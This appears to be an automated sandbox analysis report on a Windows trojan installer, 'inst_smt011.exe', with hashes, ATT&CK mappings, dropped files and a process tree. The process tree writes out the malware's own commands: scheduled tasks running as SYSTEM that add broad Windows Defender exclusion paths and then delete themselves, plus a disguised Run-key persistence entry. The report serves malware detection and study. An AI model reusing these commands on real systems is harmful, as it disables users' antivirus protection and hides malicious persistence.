d43dc989b04867aa4e23fc7c42aee275d07f9f13814056ea5f7d8b4e9d626269

Analysis

max time kernel
145s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
05/08/2026, 03:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
inst_smt011.exe
Size 55.2MB
Sample260805-d6341sch44
SHA256 d43dc989b04867aa4e23fc7c42aee275d07f9f13814056ea5f7d8b4e9d626269
MD5 26ad48919657b2806be93fae95161323
SHA1 8fd53246ddb449fe8aa34a556076f077a0707c7c
SHA512 27d24000274a95d746852d7c55c28ef2a33e25f86c325ebfb7ba500d5cc60ceff03081a34de3798debeff0879ff2c1dd50f944f5b3287a7b94616727d9f139ee
SSDEEP 196608:gnnmbV2qWwRNTc+u1aZfO8pP+QDhb6Z/LzEnSQ5Ps6E:6SRe9QDk
TLSH
T1E2C78406F702899AD4799338488B4F91B372ECF14AB6972323B8733D2EFA35C5E91545
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 2 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\omwDw8 = "0"	reg.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	1OcDpx.exe

Executes dropped EXE 2 IoCs

pid	Process
4860	1OcDpx.exe
4396	1OcDpx.exe

Loads dropped DLL 2 IoCs

pid	Process
4860	1OcDpx.exe
4396	1OcDpx.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\omwDw8\\1OcDpx.exe\""	1OcDpx.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4640	cmd.exe
3744	cmd.exe
432	cmd.exe
4892	cmd.exe
3760	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	1OcDpx.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
560	cmd.exe
4788	cmd.exe
4692	cmd.exe
1464	cmd.exe
4576	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4872	schtasks.exe
1176	schtasks.exe
1992	schtasks.exe
1556	schtasks.exe
2840	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2116	inst_smt011.exe
2116	inst_smt011.exe
2116	inst_smt011.exe
2116	inst_smt011.exe
2116	inst_smt011.exe
2116	inst_smt011.exe
2116	inst_smt011.exe
2116	inst_smt011.exe
2116	inst_smt011.exe
2116	inst_smt011.exe
2116	inst_smt011.exe
2116	inst_smt011.exe
2116	inst_smt011.exe
2116	inst_smt011.exe
2116	inst_smt011.exe
2116	inst_smt011.exe
2116	inst_smt011.exe
2116	inst_smt011.exe
2116	inst_smt011.exe
2116	inst_smt011.exe
2116	inst_smt011.exe
2116	inst_smt011.exe
2116	inst_smt011.exe
2116	inst_smt011.exe
2116	inst_smt011.exe
2116	inst_smt011.exe
2116	inst_smt011.exe
2116	inst_smt011.exe
2116	inst_smt011.exe
2116	inst_smt011.exe
2116	inst_smt011.exe
2116	inst_smt011.exe
4860	1OcDpx.exe
4860	1OcDpx.exe
4860	1OcDpx.exe
4860	1OcDpx.exe
4860	1OcDpx.exe
4860	1OcDpx.exe
4860	1OcDpx.exe
4860	1OcDpx.exe
4860	1OcDpx.exe
4860	1OcDpx.exe
4860	1OcDpx.exe
4860	1OcDpx.exe
4860	1OcDpx.exe
4860	1OcDpx.exe
4860	1OcDpx.exe
4860	1OcDpx.exe
4860	1OcDpx.exe
4860	1OcDpx.exe
4860	1OcDpx.exe
4860	1OcDpx.exe
4860	1OcDpx.exe
4860	1OcDpx.exe
4860	1OcDpx.exe
4860	1OcDpx.exe
4860	1OcDpx.exe
4860	1OcDpx.exe
4860	1OcDpx.exe
4860	1OcDpx.exe
4860	1OcDpx.exe
4860	1OcDpx.exe
4860	1OcDpx.exe
4860	1OcDpx.exe

Suspicious behavior: LoadsDriver 3 IoCs

pid	Process
656	Process not Found
656	Process not Found
656	Process not Found

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 4860 wrote to memory of 4640	4860	1OcDpx.exe	105
PID 4640 wrote to memory of 1556	4640	cmd.exe	107
PID 4860 wrote to memory of 3744	4860	1OcDpx.exe	108
PID 4640 wrote to memory of 4236	4640	cmd.exe	112
PID 4640 wrote to memory of 4376	4640	cmd.exe	116
PID 3744 wrote to memory of 2840	3744	cmd.exe	117
PID 560 wrote to memory of 1612	560	cmd.exe	118
PID 3744 wrote to memory of 760	3744	cmd.exe	121
PID 3744 wrote to memory of 3856	3744	cmd.exe	123
PID 4860 wrote to memory of 432	4860	1OcDpx.exe	124
PID 432 wrote to memory of 4872	432	cmd.exe	127
PID 432 wrote to memory of 3748	432	cmd.exe	128
PID 432 wrote to memory of 2852	432	cmd.exe	131
PID 4788 wrote to memory of 2220	4788	cmd.exe	132

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\inst_smt011.exe
"C:\Users\Admin\AppData\Local\Temp\inst_smt011.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:2116

C:\Users\Public\omwDw8\1OcDpx.exe
C:\Users\Public\omwDw8\1OcDpx.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\omwDw8\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4640
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\omwDw8\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1556
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4236
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3744
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2840
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:760
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:432
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4872
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3748
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:4892
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1176
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4748
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:3760
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1992
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4176
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1568

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\omwDw8" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:560
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\omwDw8" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1612

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:1252

C:\Users\Public\omwDw8\1OcDpx.exe
"C:\Users\Public\omwDw8\1OcDpx.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4396

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4788
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  PID:2220

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4692
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  PID:4704

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1464
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  PID:612

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4576
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  PID:2552

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

1OcDpx.exe

Path C:\Users\Public\omwDw8\1OcDpx.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\omwDw8\UxEnhance64.dll
Size 3.1MB
SHA256 90a14cc7614560274e2e51557fe33edb3322f1ee5673169b56e5d994817dc660
MD5 b2718ae884734c7142c412f56928230e
SHA1 86ae0cb1d063ede90800bde58b3055073352201f
SHA512 561f099b2e63a4ddb9f02d0707497f3b917ddb7665b5919d343a8dac397cde4bc3aee881b4bb9f88eefc766fc2879e318d4a8dbd67c60d760d964a7d3a3ef71a
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+1:P9m29xx3Tiqt06ox6+z2rNNrKo1
TLSH
T17BE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\omwDw8\adoresd.dat
Size 4.7MB
SHA256 5e4f64eb5abefb8c19d6d8e91a01e91a42caa95a6354c09380a26a4eb7aaa482
MD5 4949f12044808231af156dde1b4942a7
SHA1 33023233b6575f0441d4ec72a998eb5766c7bbfb
SHA512 d1b1aa90f3238ad7c6895b363d06e208e645dc3278cb2831229accab35adc3f40cccd5a4cdb88b5b998cf6468b7d35be48e649da37b173d00752fe987de7d040
SSDEEP 98304:Cmu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:hu1SwOflfZPF6Ma0bsoa5+qd
TLSH
T1163633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\omwDw8\msadox.tb
Size 8KB
SHA256 084ab8c94411ed53d625626b82a463cd78ca855eaf3a73fa0c6716759f662c91
MD5 52d5c8bbca8395797988f9ebea58919d
SHA1 8937779fd232c5dac5b5bac69c5c7668d0291ff6
SHA512 4e81404b444ba23054d5b302e94aa44ee18f165a05b1d6fb5cc8de723990d1b19f8c26cb0fe0b67b27cb7283941055c2e1812152265a81c1a69b6590d9f52dda
SSDEEP 192:mqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:msZqZOXQ3uqvR2Kfzp
TLSH
T131029E05D7A20CC3D6016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2116-524-0x00000000001F0000-0x00000000001FD000-memory.dmp

Download

memory/2116-2-0x0000000005660000-0x000000000566B000-memory.dmp

Download

memory/2116-1-0x00000000001F0000-0x00000000001FD000-memory.dmp

Download

memory/2116-504-0x00007FF987630000-0x00007FF987640000-memory.dmp

Download

memory/2116-525-0x00007FF987630000-0x00007FF987640000-memory.dmp

Download

memory/2116-0-0x00000000001F0000-0x00000000001FD000-memory.dmp

Download

memory/4396-590-0x0000021F94DA0000-0x0000021F95631000-memory.dmp

Download

memory/4396-591-0x0000021F94DA0000-0x0000021F95631000-memory.dmp

Download

memory/4396-570-0x00007FF973540000-0x00007FF973A5E000-memory.dmp

Download

memory/4396-594-0x0000021F94DA0000-0x0000021F95631000-memory.dmp

Download

memory/4396-595-0x00007FF990930000-0x00007FF990932000-memory.dmp

Download

memory/4396-589-0x0000021F94DA0000-0x0000021F95631000-memory.dmp

Download

memory/4396-584-0x00007FF990940000-0x00007FF990942000-memory.dmp

Download

memory/4396-585-0x0000021F94DA0000-0x0000021F95631000-memory.dmp

Download

memory/4396-576-0x0000021F94DA0000-0x0000021F95631000-memory.dmp

Download

memory/4860-531-0x00007FF973540000-0x00007FF973A5E000-memory.dmp

Download

memory/4860-559-0x0000028352780000-0x000002835280A000-memory.dmp

Download

memory/4860-558-0x0000028352780000-0x000002835280A000-memory.dmp

Download

memory/4860-557-0x0000028352780000-0x000002835280A000-memory.dmp

Download

memory/4860-561-0x0000028351A80000-0x0000028352311000-memory.dmp

Download

memory/4860-556-0x0000028352780000-0x000002835280A000-memory.dmp

Download

memory/4860-555-0x000002834F880000-0x000002834F8CE000-memory.dmp

Download

memory/4860-563-0x0000028351A80000-0x0000028352311000-memory.dmp

Download

memory/4860-550-0x0000028351A80000-0x0000028352311000-memory.dmp

Download

memory/4860-545-0x0000028351A80000-0x0000028352311000-memory.dmp

Download

memory/4860-544-0x0000028351A80000-0x0000028352311000-memory.dmp

Download

memory/4860-546-0x0000028351A80000-0x0000028352311000-memory.dmp

Download

memory/4860-543-0x0000028351A80000-0x0000028352311000-memory.dmp

Download

memory/4860-538-0x00007FF990940000-0x00007FF990942000-memory.dmp

Download

memory/4860-539-0x0000028351A80000-0x0000028352311000-memory.dmp

Download

memory/4860-536-0x0000028351A80000-0x0000028352311000-memory.dmp

Download

memory/4860-530-0x00007FF990930000-0x00007FF990932000-memory.dmp

Download